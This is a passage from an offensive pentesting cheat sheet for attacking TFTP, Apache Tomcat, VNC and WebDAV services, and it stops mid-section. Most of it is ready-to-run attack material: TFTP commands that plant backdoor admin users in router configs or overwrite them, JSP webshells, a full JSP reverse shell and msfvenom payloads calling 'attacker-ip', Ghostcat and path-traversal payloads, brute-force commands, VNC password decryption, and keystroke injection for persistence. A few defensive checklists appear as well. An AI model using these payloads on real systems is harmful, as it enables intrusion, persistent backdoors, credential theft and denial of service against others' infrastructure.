Modify network device configurations for malicious purposes.

```
# For network devices

# 1. Download current config
tftp target.com <<EOF
get running-config current-config.txt
quit
EOF

# 2. Modify config (add backdoor user)
echo "username backdoor privilege 15 secret P@ssw0rd!" >> current-config.txt

# 3. Upload modified config
tftp target.com <<EOF
put current-config.txt startup-config
quit
EOF

# 4. Device will load modified config on reboot
```

Firmware Manipulation

Modify device firmware for persistent backdoors.

```
# Download firmware
tftp target.com <<EOF
get firmware.bin original-firmware.bin
quit
EOF

# Analyze firmware
binwalk -e original-firmware.bin

# Modify firmware (add backdoor)
# This requires reverse engineering skills

# Upload modified firmware
tftp target.com <<EOF
```

```
put modified-firmware.bin firmware.bin
quit
EOF
```

Denial of Service

Perform denial of service attacks against TFTP servers.

```
# Overwrite critical files
echo "" > empty.txt
tftp target.com <<EOF
put empty.txt config.cfg
put empty.txt running-config
put empty.txt startup-config
quit
EOF

# Upload large file to exhaust storage
dd if=/dev/zero of=largefile.bin bs=1M count=1000
tftp target.com <<EOF
put largefile.bin
quit
EOF

# Flood with requests
for i in {1..1000}; do
  echo "get config.cfg" | tftp target.com &
done
```

Man-in-the-Middle

Intercept and modify TFTP traffic for malicious purposes.

```
# Since TFTP has no authentication
# Easy to intercept and modify traffic

# Using Ettercap
ettercap -T -M arp:remote /target-ip// /tftp-server//

# Modify TFTP responses in transit
# Requires packet manipulation

# Using Scapy
python3 << 'EOF'
```

```
from scapy.all import *

def tftp_mitm(pkt):
    if pkt.haslayer(TFTP):
        # Intercept and modify TFTP packets
        print(f"Intercepted TFTP packet: {pkt.summary()}")
        # Modify packet here
        send(modified_packet)

sniff(filter="udp port 69", prn=tftp_mitm)
EOF
```

Post-Exploitation

Extract sensitive data and establish persistent access after successful TFTP exploitation.

Credential Extraction

Extract credentials and authentication data from downloaded configuration files.

```
# From downloaded configs
grep -i "password\|secret\|username" downloaded-configs/*

# Cisco configs
grep "username\|secret\|password\|enable" config.txt

# Decode Cisco type 7 passwords
# Use online decoder or tool
cisco-decrypt "060506324F41"

# Juniper configs
grep "encrypted-password\|ssh-rsa" config.txt

# Extract SNMP community strings
grep "snmp-server community" config.txt
```

Network Mapping

Use extracted configuration data to map network topology.

```
# From configuration files
# Extract network information

# IP addresses
grep -E "([0-9]{1,3}\.){3}[0-9]{1,3}" config.txt
```

```
# Subnets
grep -E "network\|subnet\|route" config.txt

# VLANs
grep -i "vlan" config.txt

# Access lists
grep -A 10 "access-list" config.txt
```

Privilege Escalation

Escalate privileges on network devices using configuration manipulation.

```
# If you can upload configs to network devices

# Create config with privileged user
cat > privesc-config.txt <<EOF
username admin privilege 15 secret SuperSecretP@ss!
enable secret EnableP@ss123!
line vty 0 4
 login local
 transport input all
end
EOF

# Upload to startup-config
tftp target.com <<EOF
put privesc-config.txt startup-config
quit
EOF

# Wait for device reboot or force reboot if you have access
```

Persistence

Create persistent backdoor access to compromised systems.

```
# Add backdoor to startup configuration
cat > backdoor-config.txt <<EOF
username backdoor privilege 15 secret BackdoorP@ss123!
ip ssh version 2
line vty 0 4
 login local
```

```
 transport input ssh
EOF

tftp target.com <<EOF
put backdoor-config.txt startup-config
quit
EOF

# Backdoor survives reboots
```

Lateral Movement

Use extracted credentials for lateral movement across the network.

```
# Use obtained credentials for other devices
# From extracted configs

# SSH to other devices
ssh admin@192.168.1.1

# Telnet to other devices
telnet 192.168.1.2

# Access management interfaces
# Use extracted SNMP community strings
snmpwalk -v2c -c private 192.168.1.3
```

Data Exfiltration

Extract and exfiltrate sensitive data from compromised systems.

```
# Extract all configuration files
for config in $(ls *.txt *.cfg *.conf); do
  echo "[+] Extracting data from: $config"
  grep -i "password\|secret\|key\|token" "$config" >> extracted_credentials.txt
  grep -E "([0-9]{1,3}\.){3}[0-9]{1,3}" "$config" >> network_ips.txt
done

# Compress and exfiltrate
tar -czf tftp_data.tar.gz *.txt *.cfg *.conf
# Upload to attacker server or transfer via other means
```

TFTP Packet Structure

Opcode Operation
1 Read request (RRQ)
2 Write request (WRQ)
3 Data (DATA)
4 Acknowledgment (ACK)
5 Error (ERROR)

```
  2 bytes    string   1 byte    string   1 byte
  ------------------------------------------------
 | Opcode |  Filename  |   0  |    Mode    |   0  |
  ------------------------------------------------
```

\x00\x01 - RRQ (Read Request)
\x00\x02 - WRQ (Write Request)
\x00\x03 - DATA
\x00\x04 - ACK
\x00\x05 - ERROR

Common TFTP Files to Look For

File	Description	Device Type
running-config	Current configuration	Cisco devices
startup-config	Boot configuration	Cisco devices
config.cfg	Configuration file	Generic
backup.cfg	Backup configuration	Generic
firmware.bin	Firmware image	Various devices
/etc/passwd	User accounts	Linux systems
/etc/shadow	Password hashes	Linux systems

File	Description	Device Type
boot.ini	Boot configuration	Windows
win.ini	Windows config	Windows

TFTP Error Codes

Code	Message	Meaning
0	Not defined	Varies
1	File not found	Requested file doesn't exist
2	Access violation	Permission denied
3	Disk full	No space left
4	Illegal TFTP operation	Invalid request
5	Unknown transfer ID	Wrong port
6	File already exists	Can't overwrite
7	No such user	Authentication failed

Useful Tools

Tool	Description	Primary Use Case
tftp	Standard TFTP client	File transfer
atftp	Advanced TFTP client	Enhanced features

Tool	Description	Primary Use Case
tftp-hpa	High-performance TFTP	Fast transfers
tftpy	Python TFTP library	Scripting
Nmap	Network scanner	Service detection
Metasploit	Exploitation framework	Automated enumeration
Wireshark	Packet analyzer	Traffic analysis

Security Misconfigurations to Test

- ❌ No authentication required
- ❌ Write access enabled
- ❌ Exposed to internet
- ❌ Accessible from untrusted networks
- ❌ Serving sensitive files
- ❌ No file access restrictions
- ❌ Root directory misconfigured
- ❌ No logging enabled
- ❌ Running with excessive permissions
- ❌ No encryption (TFTP is always unencrypted)
- ❌ Default configuration unchanged
- ❌ Used for permanent file storage

TFTP Security Best Practices

- ✅ Restrict TFTP to trusted networks only
- ✅ Use TFTP only when necessary
- ✅ Implement firewall rules

- ✅ Use read-only mode when possible
- ✅ Configure proper file permissions
- ✅ Use secure alternatives (SFTP, SCP)
- ✅ Enable logging and monitoring
- ✅ Limit accessible file paths
- ✅ Regular security audits
- ✅ Use VPN for remote TFTP access
- ✅ Implement network segmentation
- ✅ Replace with more secure protocols

TFTP vs Secure Alternatives

Protocol	Port	Auth	Encryption	Use Case
TFTP	69	No	No	Legacy devices, PXE boot
FTP	21	Yes	No	General file transfer
SFTP	22	Yes	Yes	Secure file transfer
FTPS	990	Yes	Yes	Secure FTP
SCP	22	Yes	Yes	Secure copy

26.) Apache Tomcat

Default Ports: 8080 (HTTP), 8443 (HTTPS), 8009 (AJP)

Apache Tomcat is an open-source Java Servlet Container and web server developed by the Apache Software Foundation. It implements Java Servlet, JavaServer Pages (JSP), and WebSocket specifications. Tomcat is widely used for hosting Java web applications and is a common target in enterprise environments.

Connect

Using Web Browser

```
# HTTP connection
http://target.com:8080
http://192.168.1.100:8080

# HTTPS connection
https://target.com:8443

# Manager application
http://target.com:8080/manager/html
http://target.com:8080/manager/text
http://target.com:8080/manager/status

# Host Manager
http://target.com:8080/host-manager/html
```

Using cURL

```
# Basic request
curl http://target.com:8080

# Manager app with authentication
curl -u 'username:password' http://target.com:8080/manager/text/list

# Deploy WAR file
curl -u 'admin:password' \
  --upload-file shell.war \
  http://target.com:8080/manager/text/deploy?path=/shell

# Undeploy application
curl -u 'admin:password' \
  http://target.com:8080/manager/text/undeploy?path=/shell
```

Recon

Service Detection with Nmap

Use Nmap to detect Tomcat services and identify server capabilities.

nmap -p 8080,8443,8009 target.com

Banner Grabbing

Connect to Tomcat services to gather version and service information.

Using netcat

```
# Using netcat
nc target.com 8080
GET / HTTP/1.1
Host: target.com
```

Using curl

```
# Using curl
curl -I http://target.com:8080

# Check Server header
curl -s -D - http://target.com:8080 | grep Server

# Check error pages for version
curl http://target.com:8080/nonexistent

# Check documentation pages
curl http://target.com:8080/docs/
```

Using nmap

```
# Version detection
nmap -p 8080,8443 -sV target.com

# HTTP methods enumeration
nmap -p 8080 --script http-methods target.com

# Directory enumeration
nmap -p 8080 --script http-enum target.com

# Tomcat-specific scripts
nmap -p 8080 --script http-tomcat-* target.com
```

```
# Server header detection
nmap -p 8080 --script http-server-header target.com
```

Version Detection

Identify Tomcat version and configuration details.

```
# Common version disclosure locations
http://target.com:8080/
http://target.com:8080/docs/
http://target.com:8080/examples/
http://target.com:8080/RELEASE-NOTES.txt
http://target.com:8080/docs/RELEASE-NOTES.txt
```

Enumeration

Use various tools for detailed Tomcat enumeration and information gathering.

Directory Enumeration

Discover accessible Tomcat directories and applications.

Using gobuster

```
# Using gobuster
gobuster dir -u http://target.com:8080 -w /usr/share/wordlists/dirb/common.txt
```

Using dirb

```
# Using dirb
dirb http://target.com:8080 /usr/share/wordlists/dirb/common.txt
```

Using ffuf

```
# Using ffuf
ffuf -u http://target.com:8080/FUZZ -w wordlist.txt
```

Common Tomcat Directories

```
# Common Tomcat directories
/manager/html
/manager/text
/manager/jmxproxy
/manager/status
/host-manager/html
```

/admin/
/examples/
/docs/
/ROOT/

Application Enumeration

Enumerate deployed applications and their configurations.

Manager Application Access

```
# List deployed applications (requires auth)
curl -u 'admin:password' http://target.com:8080/manager/text/list

# Application status
curl -u 'admin:password' http://target.com:8080/manager/text/serverinfo

# Session information
curl -u 'admin:password' http://target.com:8080/manager/text/sessions?path=/app
```

Using Metasploit

```
use auxiliary/scanner/http/tomcat_enum
set RHOSTS target.com
set RPORT 8080
run
```

User Enumeration

Enumerate Tomcat users and authentication mechanisms.

Default User Discovery

```
# Common default users
admin
manager
tomcat
root
both
role1

# Check tomcat-users.xml (if accessible)
curl http://target.com:8080/tomcat-users.xml
curl http://target.com:8080/conf/tomcat-users.xml
```

Brute Force Authentication

```
# Brute force users with Metasploit
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS target.com
set RPORT 8080
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
```

Attack Vectors

Exploit various Tomcat vulnerabilities and misconfigurations for unauthorized access.

Default Credentials

Test common default Tomcat credentials for unauthorized access.

```
# Common default credentials
admin:admin
tomcat:tomcat
admin:password
manager:manager
tomcat:s3cret
admin:<blank>
both:tomcat

# Try with curl
curl -u 'tomcat:tomcat' http://target.com:8080/manager/html

# Using hydra
hydra -L users.txt -P passwords.txt target.com -s 8080 http-get /manager/html
```

Brute Force Attack

Brute force Tomcat manager credentials using various tools and techniques.

Using Metasploit

```
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS target.com
set RPORT 8080
set USER_FILE /usr/share/wordlists/metasploit/tomcat_mgr_default_users.txt
set PASS_FILE /usr/share/wordlists/metasploit/tomcat_mgr_default_pass.txt
run
```

Using Hydra

```
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt \
  target.com -s 8080 http-get /manager/html
```

Using Burp Suite Intruder

```
# Capture request to /manager/html
# Send to Intruder
# Set Authorization header as payload position
# Use Base64 encoding: username:password
```

WAR File Upload (Manager Access)

Upload malicious WAR files through Tomcat manager for code execution.

```
# Create JSP webshell
cat > shell.jsp << 'EOF'
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if(cmd != null) {
    Process p = Runtime.getRuntime().exec(cmd);
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
        out.println(disr);
        disr = dis.readLine();
    }
}
%>
EOF

# Package as WAR
mkdir -p WEB-INF
jar -cvf shell.war shell.jsp WEB-INF

# Deploy using curl
curl -u 'admin:password' \
  --upload-file shell.war \
  "http://target.com:8080/manager/text/deploy?path=/shell&update=true"
```

```
# Access webshell
curl "http://target.com:8080/shell/shell.jsp?cmd=whoami"

# Using Metasploit
msfvenom -p java/jsp_shell_reverse_tcp LHOST=attacker-ip LPORT=4444 -f war >
shell.war
curl -u 'admin:password' --upload-file shell.war
"http://target.com:8080/manager/text/deploy?path=/shell"
```

PUT Method Upload (if enabled)

Upload files directly using HTTP PUT method if enabled.

```
# Test if PUT is allowed
curl -X OPTIONS http://target.com:8080/ -v

# Upload JSP shell via PUT
curl -X PUT http://target.com:8080/shell.jsp \
  -d '<%@ page import="java.io.*"
%><%out.println(Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(
));%>'

# Access shell
curl "http://target.com:8080/shell.jsp?cmd=whoami"

# Using Metasploit
use exploit/multi/http/tomcat_jsp_upload_bypass
set RHOSTS target.com
set RPORT 8080
run
```

AJP Protocol Exploitation (Ghostcat - CVE-2020-1938)

Exploit AJP connector vulnerabilities for file read/write access.

```
# Affects Tomcat 6, 7 < 7.0.100, 8 < 8.5.51, 9 < 9.0.31
# AJP Connector on port 8009

# Using Nmap
nmap -p 8009 --script ajp-methods,ajp-request target.com

# Read arbitrary files
python2 ajpShooter.py http://target.com:8009/ 8009 /WEB-INF/web.xml read
```

 # Upload webshell
python2 ajpShooter.py http://target.com:8009/ 8009 /shell.jsp upload

 # Using Metasploit
use auxiliary/admin/http/tomcat_ghostcat
set RHOSTS target.com
set RPORT 8009
set FILENAME /WEB-INF/web.xml
run

Path Traversal

Access sensitive files using path traversal techniques.

 # Try accessing sensitive files
http://target.com:8080/../../../etc/passwd
http://target.com:8080/..;/..;/..;/etc/passwd

 # Double encoding
http://target.com:8080/%252e%252e/%252e%252e/%252e%252e/etc/passwd

 # URL encoding
http://target.com:8080/..%2f..%2f..%2fetc%2fpasswd

 # Windows
http://target.com:8080/..\..\..\..\windows\win.ini

CVE Exploitation

Exploit specific Tomcat vulnerabilities for code execution.

 # CVE-2017-12617 (Tomcat 7.0.0-7.0.79)
 # PUT method RCE
curl -X PUT http://target.com:8080/shell.jsp/ -d '<%@ page import="java.io.*"
%>...JSP_SHELL...'

 # Using Metasploit
use exploit/multi/http/tomcat_jsp_upload_bypass
set RHOSTS target.com
run

 # CVE-2019-0232 (Windows, CGI Servlet enabled)
 # RCE via CGI servlet
http://target.com:8080/cgi-bin/test.bat?&dir

```
# CVE-2020-1938 (Ghostcat)
# Already covered in AJP section
```

Post-Exploitation

Extract sensitive data and establish persistent access after successful Tomcat exploitation.

Reverse Shell

Establish reverse shell connections for persistent access.

```
<!-- JSP reverse shell -->
<%@ page import="java.io.*,java.net.*" %>
<%
String host = "attacker-ip";
int port = 4444;
Socket socket = new Socket(host, port);
Process process = Runtime.getRuntime().exec("/bin/bash");
InputStream is = process.getInputStream();
OutputStream os = process.getOutputStream();
InputStream sis = socket.getInputStream();
OutputStream sos = socket.getOutputStream();
DataInputStream dis = new DataInputStream(sis);
DataOutputStream dos = new DataOutputStream(sos);
byte[] buffer = new byte[8192];
int length;
while((length = is.read(buffer, 0, buffer.length)) > 0) {
   dos.write(buffer, 0, length);
   dos.flush();
}
while((length = sis.read(buffer, 0, buffer.length)) > 0) {
   os.write(buffer, 0, length);
   os.flush();
}
process.destroy();
socket.close();
%>
```

Persistence

Create persistent backdoor access to compromised Tomcat servers.

```
# Add backdoor user in tomcat-users.xml
curl -u 'admin:password' \
```

```
  -X PUT \
  -d '<user username="backdoor" password="P@ssw0rd123!" roles="manager-gui,admin-gui"/>' \
  http://target.com:8080/conf/tomcat-users.xml

# Deploy persistent webshell
curl -u 'admin:password' \
  --upload-file shell.war \
  "http://target.com:8080/manager/text/deploy?path=/system&update=true"

# Modify existing application
# Add JSP backdoor to existing WAR
unzip existing.war
echo '<% Runtime.getRuntime().exec(request.getParameter("c")); %>' > backdoor.jsp
jar -uvf existing.war backdoor.jsp
# Redeploy
```

Credential Harvesting

Extract credentials and sensitive configuration data.

```
# Read tomcat-users.xml
curl http://target.com:8080/WEB-INF/../conf/tomcat-users.xml

# Or via AJP Ghostcat
python ajpShooter.py http://target.com:8009/ 8009 /WEB-INF/../conf/tomcat-users.xml read

# Read web.xml for database credentials
curl http://target.com:8080/WEB-INF/web.xml

# Check for configuration files
/conf/server.xml
/conf/tomcat-users.xml
/conf/context.xml
/WEB-INF/web.xml
```

Data Exfiltration

Extract and exfiltrate sensitive data from compromised Tomcat servers.

```
# List and download WAR files
curl -u 'admin:password' http://target.com:8080/manager/text/list

# Download application
```

```
curl -u 'admin:password' \
  http://target.com:8080/manager/text/download?path=/app \
  -o app.war

# Extract and analyze
unzip app.war
grep -r "password\|secret\|key" .

# Database connection strings
grep -r "jdbc:" .
grep -r "datasource" WEB-INF/
```

Privilege Escalation

Escalate privileges on compromised Tomcat servers.

```
# Check Tomcat running user
<%@ page import="java.io.*" %>
<% out.println(System.getProperty("user.name")); %>

# If running as root/system, you have full access
# Upload tools for privilege escalation
msfvenom -p linux/x64/shell_reverse_tcp LHOST=attacker-ip LPORT=4444 -f elf > privesc

# Or Windows
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker-ip LPORT=4444 -f exe >
privesc.exe

# Upload via webshell
# Execute with elevated privileges if possible
```

Lateral Movement

Expand access to other systems in the network.

```
# Enumerate network from compromised Tomcat
<%@ page import="java.io.*" %>
<%
Process p = Runtime.getRuntime().exec("ifconfig");
// Or ipconfig on Windows
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
    out.println(line + "<br>");
```

```
}
%>

# Scan internal network
<%@ page import="java.net.*" %>
<%
for(int i=1; i<255; i++) {
   try {
      InetAddress addr = InetAddress.getByName("192.168.1." + i);
      if(addr.isReachable(1000)) {
         out.println("Host " + addr + " is reachable<br>");
      }
   } catch(Exception e) {}
}
%>
```

Data Exfiltration

Extract and exfiltrate sensitive data from compromised systems.

```
# Extract configuration files
curl -u 'admin:password' http://target.com:8080/manager/text/serverinfo

# Download all deployed applications
for app in $(curl -s -u 'admin:password' http://target.com:8080/manager/text/list | grep -o 'path="[^"]*"' | cut -d'"' -f2); do
  curl -u 'admin:password' "http://target.com:8080/manager/text/download?path=$app" -o "${app#/}.war"
done

# Extract credentials from all WAR files
for war in *.war; do
  unzip -q "$war" -d "${war%.war}"
  grep -r -i "password\|secret\|key\|token" "${war%.war}/" >> extracted_credentials.txt
done
```

Common Tomcat Files and Paths

Path	Description	Security Impact
/manager/html	Web-based manager	Application deployment

Path	Description	Security Impact
/manager/text	Text-based manager	Scriptable management
/host-manager/html	Virtual host manager	Host configuration
/conf/tomcat-users.xml	User configuration	Credential storage
/conf/server.xml	Server configuration	Service configuration
/conf/web.xml	Default web config	Application settings
/logs/catalina.out	Main log file	Information disclosure
/webapps/	Application directory	Deployed applications
/WEB-INF/web.xml	App configuration	Database credentials

Useful JSP Payloads

```
<!-- Command execution -->
<%@ page import="java.io.*" %>
<% out.println(Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream());
%>

<!-- File browser -->
<%@ page import="java.io.File" %>
<%
File f = new File(request.getParameter("dir"));
File[] files = f.listFiles();
for(File file : files) {
    out.println(file.getName() + (file.isDirectory() ? "/" : "") + "<br>");
}
%>

<!-- File reader -->
<%@ page import="java.io.*" %>
<%
```

```
BufferedReader br = new BufferedReader(new FileReader(request.getParameter("file")));
String line;
while((line = br.readLine()) != null) {
   out.println(line + "<br>");
}
%>

<!-- File upload -->
<%@ page import="java.io.*" %>
<%
FileOutputStream fos = new FileOutputStream(request.getParameter("path"));
fos.write(request.getParameter("content").getBytes());
fos.close();
%>
```

Useful Tools

Tool	Description	Primary Use Case
curl	HTTP client	Manager API interaction
msfvenom	Payload generator	WAR file creation
Metasploit	Exploitation framework	Automated exploitation
Burp Suite	Web proxy	Request manipulation
ajpShooter	AJP exploitation	Ghostcat exploitation
Nmap	Network scanner	Service detection
gobuster	Directory brute-forcer	Enumeration
hydra	Credential brute-forcer	Authentication attacks

Security Misconfigurations to Test

- ❌ Default credentials (tomcat:tomcat, admin:admin)

- ❌ Manager application accessible externally
- ❌ Weak authentication
- ❌ AJP connector exposed (port 8009)
- ❌ PUT method enabled
- ❌ Outdated Tomcat version
- ❌ Verbose error messages
- ❌ Example applications not removed
- ❌ Directory listing enabled
- ❌ Running as root/SYSTEM
- ❌ Sensitive files accessible (tomcat-users.xml)
- ❌ No HTTPS (using HTTP on port 8080)

27.) VNC (Virtual Network Computing)

Default Ports: 5900-5906

Virtual Network Computing (VNC) is a graphical desktop-sharing system that uses the Remote Frame Buffer (RFB) protocol to remotely control another computer. VNC transmits keyboard and mouse events from one computer to another, relaying graphical screen updates back. It's platform-independent and widely used for remote technical support, access to work computers, and server administration.

Connect

Using vncviewer

```
# Basic connection
vncviewer target.com:5900

# With display number (5900 + display)
vncviewer target.com:0  # Port 5900
vncviewer target.com:1  # Port 5901

# With password file
vncviewer -passwd ~/.vnc/passwd target.com:0
```

Using remmina (GUI)

Remmina is a feature-rich remote desktop client that supports VNC, RDP, and other protocols:

```
Protocol: VNC
Server: target.com:5900
Username: (if required)
Password: password
```

Using TightVNC Viewer

```
# Windows
tvnviewer.exe target.com::5900

# Linux
vncviewer target.com:5900
```

Recon

Service Detection with Nmap

Use Nmap to detect VNC services and identify server capabilities.

nmap -p 5900-5906 target.com

Banner Grabbing

Connect to VNC services to gather version and service information.

Using netcat

```
# Using netcat
nc -vn target.com 5900

# Get VNC handshake
echo "" | nc target.com 5900
```

Using nmap

```
# Using nmap
nmap -p 5900-5906 -sV target.com

# Authentication check
nmap -p 5900 --script vnc-info target.com

# Brute force script
nmap -p 5900 --script vnc-brute target.com
```

Enumeration

Use various tools for detailed VNC enumeration and information gathering.

VNC Authentication Check

Determine VNC authentication methods and protocol versions.

```
# Check authentication type
nmap -p 5900 --script vnc-info target.com

# Output shows:
# - Protocol version (RFB 003.003, 003.007, 003.008)
# - Authentication types (None, VNC, Tight, Ultra, TLS, VeNCrypt)
# - Desktop name
```

Display Enumeration

Enumerate available VNC displays and sessions.

```
# Scan range of VNC ports
nmap -p 5900-5910 target.com

# Check each display
for i in {0..10}; do
  echo "Display :$i (port $((5900+i)))"
  nc -zv target.com $((5900+i))
done
```

Attack Vectors

Exploit various VNC vulnerabilities and misconfigurations for unauthorized access.

No Authentication

Test for VNC servers configured without authentication.

```
# Try connection without password
vncviewer target.com:5900

# Using Metasploit to check
use auxiliary/scanner/vnc/vnc_none_auth
set RHOSTS target.com
run

# If successful, you have immediate desktop access
```

Weak or Default Passwords

Test common default VNC passwords for unauthorized access.

```
# Common VNC passwords
password
12345678
vnc123
admin
administrator

# Try with vncviewer
vncviewer target.com:5900
# Enter password when prompted
```

Brute Force Attack

Brute force VNC passwords using various tools and techniques.

Using Hydra

hydra -P /usr/share/wordlists/rockyou.txt vnc://target.com

Using Metasploit

use auxiliary/scanner/vnc/vnc_login
set RHOSTS target.com
set PASS_FILE passwords.txt
run

Using Nmap

nmap -p 5900 --script vnc-brute --script-args passdb=passwords.txt target.com

Using Medusa

medusa -h target.com -u "" -P passwords.txt -M vnc

Password Decryption

Exploit VNC's weak password encryption for credential recovery.

```
# VNC password locations
~/.vnc/passwd
C:\Users\username\.vnc\passwd
C:\Program Files\RealVNC\vncserver.ini

# Decrypt VNC password
vncpwd /path/to/passwd

# Using Python script
python3 << 'EOF'
from d3des import decrypt
import base64

# Read encrypted password
with open('.vnc/passwd', 'rb') as f:
    encrypted = f.read()

# Decrypt (DES with fixed key)
key = [0x17, 0x52, 0x6b, 0x06, 0x23, 0x4e, 0x58, 0x07]
password = decrypt(encrypted, key)
print(password)
```

EOF

Man-in-the-Middle Attack

Intercept VNC traffic for credential theft and session hijacking.

```
# Using Ettercap
ettercap -T -M arp:remote /target-ip// /gateway-ip//

# Capture VNC traffic with Wireshark
# Filter: tcp.port == 5900

# Extract VNC password from captured traffic
# Password is DES encrypted with known key
```

Post-Exploitation

Extract sensitive data and establish persistent access after successful VNC exploitation.

Screen Capture

Capture screenshots of remote desktop for reconnaissance and data collection.

```
# Using vncsnapshot
vncsnapshot target.com:5900 screenshot.jpg

# Using vncdo
vncdo -s target.com:5900 capture screenshot.png

# Continuous monitoring
while true; do
  vncsnapshot target.com:5900 screen_$(date +%s).jpg
  sleep 60
done
```

Keylogging and Input Injection

Inject keyboard and mouse inputs to execute commands or access sensitive information.

```
# Using vncdo
vncdo -s target.com:5900 key cmd
vncdo -s target.com:5900 type "whoami"
vncdo -s target.com:5900 key enter

# Open Run dialog (Windows)
vncdo -s target.com:5900 key win-r
```

```
sleep 1
vncdo -s target.com:5900 type "cmd"
vncdo -s target.com:5900 key enter
```

Persistence

Create persistent backdoor access to compromised VNC systems.

```
# If you have VNC access to a Windows machine
# Use GUI to create persistence

# 1. Open Run (Win+R)
# 2. Type: regedit
# 3. Navigate to: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
# 4. Create new value with path to backdoor

# Or via command injection through VNC
# Win+R -> cmd -> execute commands
```

Data Exfiltration

Extract sensitive data from compromised VNC sessions.

```
# Using VNC clipboard (if enabled)
# Copy sensitive files in VNC session
# Paste on local machine

# Transfer via file sharing
# Open file browser in VNC
# Copy to shared folder if available

# Screenshot sensitive data
vncsnapshot target.com:5900 sensitive_data.jpg
```

Lateral Movement

Expand access to other systems using VNC sessions.

```
# Open command prompt via VNC
# Execute network discovery commands
# ipconfig /all (Windows)
# ifconfig (Linux)

# Scan internal network
# Use VNC to access command line
```

 # Run nmap or other scanning tools

 # Access other systems
 # Use discovered credentials
 # Connect to other VNC servers

Credential Harvesting

Extract credentials and sensitive information from VNC sessions.

 # Access browser password managers
 # Use VNC to navigate to saved passwords
 # Copy credentials to local machine

 # Access configuration files
 # Navigate to application configs
 # Copy sensitive configuration data

 # Keylog user input
 # Monitor keyboard input during VNC session
 # Capture passwords as they are typed

VNC Variants

VNC Type	Port	Features
RealVNC	5900	Most common, enterprise features
TightVNC	5900	High compression, file transfer
UltraVNC	5900	File transfer, chat, Windows-focused
TigerVNC	5900	High performance
x11vnc	5900	Unix/Linux X11 sharing

Useful Tools

Tool	Description	Primary Use Case
vncviewer	VNC client	Connection
Remmina	Multi-protocol client	GUI connection
TightVNC Viewer	VNC client	Windows client
vncpwd	Password decryptor	Password recovery
vncsnapshot	Screenshot tool	Reconnaissance
vncdo	VNC automation	Input injection
Hydra	Password cracker	Brute force
Metasploit	Exploitation framework	Automated testing

Security Misconfigurations

- ❌ No authentication (None auth type)
- ❌ Weak VNC passwords
- ❌ Exposed to internet
- ❌ No encryption (standard VNC)
- ❌ Clipboard sharing enabled
- ❌ File transfer enabled
- ❌ No connection logging
- ❌ Default ports exposed
- ❌ No network isolation
- ❌ Outdated VNC server

28.) WebDAV (Web Distributed Authoring and Versioning)

Default Ports: 80 (HTTP), 443 (HTTPS)

WebDAV is an extension of HTTP that allows clients to perform remote web content authoring operations. It enables users to collaboratively edit and manage files on remote web servers. WebDAV adds methods like PUT, DELETE, PROPFIND, and others to the standard HTTP methods. Common implementations include Microsoft IIS WebDAV, Apache mod_dav, and various cloud storage solutions. Misconfigurations can lead to file upload vulnerabilities and unauthorized access.

Connect

Using cadaver (WebDAV client)

```
# Connect to WebDAV server
cadaver http://target.com/webdav/

# With authentication
cadaver http://target.com/webdav/
Username: admin
Password: password

# HTTPS connection
cadaver https://target.com/webdav/

# Once connected, use DAV commands:
dav:/webdav/> ls
dav:/webdav/> put localfile.txt
dav:/webdav/> get remotefile.txt
dav:/webdav/> delete file.txt
```

Using cURL

```
# List directory (PROPFIND)
curl -X PROPFIND http://target.com/webdav/ -u username:password

# Upload file (PUT)
curl -X PUT http://target.com/webdav/file.txt -u username:password -d @localfile.txt

# Download file (GET)
curl http://target.com/webdav/file.txt -u username:password -o file.txt

# Delete file (DELETE)
curl -X DELETE http://target.com/webdav/file.txt -u username:password
```

```
# Create directory (MKCOL)
curl -X MKCOL http://target.com/webdav/newdir/ -u username:password
```

Mount as Network Drive

```
# Linux - mount WebDAV
mount -t davfs http://target.com/webdav/ /mnt/webdav
# Or
davfs2 http://target.com/webdav/ /mnt/webdav

# Windows - map network drive
net use Z: http://target.com/webdav/ /user:username password

# macOS - mount WebDAV
mount_webdav http://target.com/webdav/ /Volumes/webdav
```

Recon

Service Detection with Nmap

Use Nmap to detect WebDAV services and identify server capabilities.

```
nmap -p 80,443 target.com
```

Banner Grabbing

Connect to WebDAV services to gather version and service information.

Using curl

```
# Test with curl
curl -X OPTIONS http://target.com/webdav/ -v

# Check for DAV header
# DAV: 1, 2
# DAV: <http://apache.org/dav/propset/fs/1>
```

Using nmap

```
# HTTP methods enumeration
nmap -p 80,443 --script http-methods target.com
nmap -p 80,443 --script http-webdav-scan target.com

# WebDAV path detection
```

```
nmap -p 80 --script http-webdav-scan --script-args http-webdav-scan.path=/webdav/
target.com
```

WebDAV Path Discovery

Discover common WebDAV paths and endpoints.

```
# Common paths
/webdav/
/dav/
/WebDAV/
/uploads/
/files/
/_vti_bin/
/sharepoint/
```

Enumeration

Use various tools for detailed WebDAV enumeration and information gathering.

HTTP Methods Enumeration

Identify which WebDAV methods are enabled to determine attack surface.

```
# Using curl OPTIONS
curl -X OPTIONS http://target.com/webdav/ -v

# Look for methods in Allow header:
# Allow: OPTIONS, GET, HEAD, POST, DELETE, TRACE, PROPFIND, PROPPATCH,
COPY, MOVE, LOCK, UNLOCK, PUT

# Using davtest
davtest -url http://target.com/webdav/ -auth username:password

# Test specific method
curl -X PROPFIND http://target.com/webdav/ -u username:password
```

Directory Listing

Enumerate directory contents and file properties using PROPFIND method.

```
# Using PROPFIND method
curl -X PROPFIND http://target.com/webdav/ \
  -u username:password \
  -H "Depth: 1"
```

```
# Recursive listing
curl -X PROPFIND http://target.com/webdav/ \
  -u username:password \
  -H "Depth: infinity"

# Using cadaver
cadaver http://target.com/webdav/
dav:/webdav/> ls -la
```

Attack Vectors

Exploit various WebDAV vulnerabilities and misconfigurations for unauthorized access.

Authentication Bypass

Test for WebDAV authentication bypass vulnerabilities.

```
# Try without credentials
curl -X OPTIONS http://target.com/webdav/
curl -X PROPFIND http://target.com/webdav/

